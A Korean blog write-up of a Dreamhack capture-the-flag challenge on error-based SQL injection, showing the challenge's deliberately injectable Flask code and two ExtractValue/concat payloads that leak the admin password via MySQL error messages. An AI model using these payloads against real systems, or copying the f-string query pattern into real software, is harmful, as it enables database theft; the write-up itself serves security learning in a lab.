공부/웹해킹 (Web hacking)

[드림핵 | 웹해킹] LEVEL 1: error based sql injection

eunjuu 2024. 3. 8. 15:59
728x90

👾 문제 설명

Simple Error Based SQL Injection !

 

📎 https://dreamhack.io/wargame/challenges/412

 

error based sql injection

Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공

dreamhack.io


 

접속 정보에 "서버 생성하기"를 눌러서 링크에 접속한다. 

 

이런 페이지가 등장한다.

 

문제 파일을 다운로드 한다.

 

 

  • app.py
import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

  • init.sql
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

 

💡 admin의 upw를 알고 싶다!

 

Error based SQL Injection
- 오류 기반 SQL Injection

 

오류 기반(Error based) SQL Injection은 주로 데이터베이스에 대한 정보를 획득하기 위해 사용됩니다. SQL의 잘못된 문법이나 자료형 불일치 등에 의해 데이터베이스가 알려주는 데이터베이스 오류 메시지에 의존하여 수행되는 공격 기법입니다. 따라서 웹 애플리케이션에서 데이터베이스 오류를 표시해주는 경우에 주로 사용할 수 있습니다. 공격자는 SQL 쿼리의 잘못된 문법을 사용해 고의적으로 오류를 유발시키고 해당 오류 정보를 바탕으로 데이터베이스명, 테이블, 컬럼 정보 등의 데이터베이스 정보와 구조를 알아내어 개인 정보와 같은 민감한 데이터를 획득할 수 있습니다.

출처 | https://www.bugbountyclub.com/pentestgym/view/53

 

Error 기반 SQL 인젝션 | Pentest Gym | 버그바운티클럽

오류 기반 SQL Injection이란?오류 기반(Error based) SQL Injection은 주로 데이터베이스에 대한 정보를 획득하기 위해 사용됩니다. SQL의 잘못된 문법

www.bugbountyclub.com

 

ExtractValue()를 이용해서 Error based sql injection을 트리거하겠다.

 

이 함수는 XPath 식을 지정하여 XML 문자열에서 추출한 값을 반환합니다.

 

SELECT ExtractValue(xml_frag,xpath_expr)

 

인수 설명
xml_frag XML 마크 업
xpath_expr XPath 식으로 지정

 

 

출처 | https://www.habonyphp.com/2019/02/extractvalue.html

 

MYSQL - extractValue 함수

이 함수는 XPath 식을 지정하여 XML 문자열에서 추출한 값을 반환합니다. 인 수 설 명 xml_frag XML 마크 업 xpath_expr ...

www.habonyphp.com

 

 

에러 유발을 위해서 XPath 표현식에 적절하지 않은 구문을 입력합니다.

 

' union SELECT extractvalue(1,concat(0x3a,(select upw from user where uid = 'admin'))); --

 

extractvalue() 함수의 첫 번째 인자값에 1을 넣고, 두 번째 인자값에 문자열을 합치는 concat() 함수를 넣는다.

concat() 함수의 첫 번째 인자값으로 보통 0x3a(:) 문자열을 넣고, 두 번째 인자값에는 함수를 넣는다. 

0x3a(:) 문자열을 넣는 이유는 이런 특수문자를 입력해서 두번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해서다.

그리고 admin의 upw가 알고 싶기 때문에 select upw from user where uid = 'admin') 구문을 이용한다.

 

결과값

코드를 입력하면 flag 값이 위 결과값 캡쳐화면처럼 잘려서 나온다.

 

flag 값이 길어서 모두 출력되지 않아 substr() 함수를 이용하여 원하는 부분만 출력되도록 쿼리를 작성합니다.

 

SUBSTR("문자열","시작위치","길이")

 

' union SELECT extractvalue(1,concat(0x3a,(select substr(upw,20,50) from user where uid = 'admin'))); --

 

뒷 부분이 출력되는데, 위에 캡쳐랑 합쳐서 flag 값 제출하면 됩니다!

728x90